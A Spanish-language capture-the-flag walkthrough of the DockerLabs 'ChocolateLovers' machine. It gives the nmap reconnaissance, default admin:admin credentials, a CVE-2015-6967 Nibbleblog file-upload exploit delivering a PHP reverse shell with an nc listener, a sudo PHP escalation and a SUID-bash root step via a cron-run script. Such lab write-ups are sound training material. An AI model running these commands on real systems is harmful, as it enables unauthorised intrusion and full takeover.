> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/chocolatelovers.md).

# ChocolateLovers

### **Despliegue de la Máquina:**

#### **1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **ChocolateLovers** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **2. Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `chocolatelovers.zip`:

```bash
7z x chocolatelovers.zip
```

<figure><img src="/files/67JYzds4JaccqJzO3gFk" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `chocolatelovers.tar`:

```bash
bash auto_deploy.sh chocolatelovers.tar
```

<figure><img src="/files/HO05SeB4QIyry4SxkDZ4" alt=""><figcaption></figcaption></figure>

***

### **Reconocimiento:**

#### **1. Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/GgkXm7WMOsXlB5sZ3n83" alt=""><figcaption></figcaption></figure>

#### **2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Resultado del escaneo:**

* **Puerto 80:** `HTTP`.

<figure><img src="/files/gm6QpJHv0uXTmg6cOSb0" alt=""><figcaption></figcaption></figure>

#### **3. Escaneo Detallado:**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p80`: Especifica el puerto a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultado del escaneo:**

* **Puerto 80:** `Apache httpd 2.4.41`.

<figure><img src="/files/Rh1tUBKQIpTugTVs6blh" alt=""><figcaption></figcaption></figure>

#### **4. Análisis del Servicio Web:**

Accedemos al sitio web en `http://172.17.0.2/` y encontramos la página por defecto de Apache.

<figure><img src="/files/mGCbuX0DYIevuYEkcAYu" alt=""><figcaption></figcaption></figure>

Al inspeccionar el código fuente, observamos múltiples comentarios que hacen referencia a `/nibbleblog`.

<figure><img src="/files/6eO3y7EK3Vcpm5rilrvM" alt=""><figcaption></figcaption></figure>

Accedemos al directorio `http://172.17.0.2/nibbleblog/` y confirmamos que se está ejecutando **Nibbleblog**, un sistema de gestión de contenido (CMS).

<figure><img src="/files/OLBFJeoo4Gn0Kt1LBCSZ" alt=""><figcaption></figcaption></figure>

#### **5. Acceso al Panel de Administración:**

El mensaje "Start publishing from your dashboard" nos dirige al panel de administración: `http://172.17.0.2/nibbleblog/admin.php`.

Para poder acceder, primero tenemos que iniciar sesión.

<figure><img src="/files/ld9LHb61KUOeNQBQafxc" alt=""><figcaption></figcaption></figure>

Probamos las credenciales por defecto `admin:admin` y logramos acceder con permisos de administrador.

<figure><img src="/files/rmVVTc8fBXrEqoLvewwH" alt=""><figcaption></figcaption></figure>

Verificamos la versión del CMS en el apartado de ajustes: **Nibbleblog 4.0.3 "Coffee"**, vulnerable a **Arbitrary File Upload** (`CVE-2015-6967`).

<figure><img src="/files/KxBxA0VoUqZtYX70BlOF" alt=""><figcaption></figcaption></figure>

***

### **Explotación:**

#### **1. Búsqueda y Descarga del Exploit:**

Localizamos un exploit público en GitHub que aprovecha la vulnerabilidad [CVE-2015-6967](https://github.com/dix0nym/CVE-2015-6967).

<figure><img src="/files/jmx7d9F5yxs82Ph1fF63" alt=""><figcaption></figcaption></figure>

Clonamos el repositorio en nuestro equipo:

```bash
git clone https://github.com/dix0nym/CVE-2015-6967
```

<figure><img src="/files/o1BA3IPq5lfo6OGS40vZ" alt=""><figcaption></figcaption></figure>

#### **2. Preparación del Exploit:**

Asignamos permisos de ejecución al script:

```bash
chmod u+x exploit.py
```

<figure><img src="/files/naFeyohl9YjujwxWCmc3" alt=""><figcaption></figcaption></figure>

El exploit utiliza la extensión `my_image` para subir archivos arbitrarios.

<figure><img src="/files/iVoiSg18hGQUiYHDawzd" alt=""><figcaption></figcaption></figure>

Instalamos dicha extensión desde el panel de administración.

<figure><img src="/files/6dU13k5mHfCopg9GkJpH" alt=""><figcaption></figcaption></figure>

#### **3. Creación y Subida de una Reverse Shell:**

Generamos una reverse shell en [revshells.com](https://www.revshells.com/) y la guardamos como `ReverseShell.php`.

<figure><img src="/files/hLvxaXXQ7V9JbwJiiZg6" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha en nuestro equipo:

```bash
nc -lvnp 123
```

<figure><img src="/files/ayKmGENyPLNKNsVYnW3F" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit:

```bash
python3 exploit.py --url http://172.17.0.2/nibbleblog/ --username admin --password admin --payload ../ReverseShell.php
```

<figure><img src="/files/XwDNSoL0UKdadjIW3KAk" alt=""><figcaption></figcaption></figure>

Recibimos la shell en nuestra consola, confirmando la ejecución exitosa.

<figure><img src="/files/iYTjzC5TzledvonFcbN6" alt=""><figcaption></figcaption></figure>

***

### **Escalada de Privilegios:**

#### **1. Análisis de Privilegios:**

Ejecutamos `sudo -l` para ver los privilegios del usuario actual (`www-data`).

**Resultado:** Podemos ejecutar `/usr/bin/php` como el usuario `chocolate` sin proporcionar contraseña.

<figure><img src="/files/FzZAmfclo9wshz1jpSZg" alt=""><figcaption></figcaption></figure>

#### **2. Explotación de PHP:**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/php/) y encontramos una forma de escalar privilegios:

```bash
CMD="/bin/bash"
```

```bash
sudo -u chocolate php -r "system('$CMD');"
```

<figure><img src="/files/8LVd2lSxJTbJ0GNNzegC" alt=""><figcaption></figcaption></figure>

#### **3. Escalada a Root:**

Listamos los procesos en ejecución:

```bash
ps -aux
```

Detectamos que el usuario `root` ejecuta periódicamente el script `/opt/script.php`.

<figure><img src="/files/WzqArcxiUUBZqhLshFJa" alt=""><figcaption></figcaption></figure>

Modificamos el script para otorgar permisos SUID a `/bin/bash`:

```bash
echo '<?php echo shell_exec("chmod u+s /bin/bash"); ?>' > script.php
```

<figure><img src="/files/WJWTS1SvRX9pYNSek0Bm" alt=""><figcaption></figcaption></figure>

Esperamos a que el script sea ejecutado por `root` y luego ejecutamos:

```bash
bash -p
```

**Resultado:** Obtenemos una shell con privilegios de `root`, completando así la escalada de privilegios.

<figure><img src="/files/aOfQW4qGPtqBx5cxG38x" alt=""><figcaption></figcaption></figure>
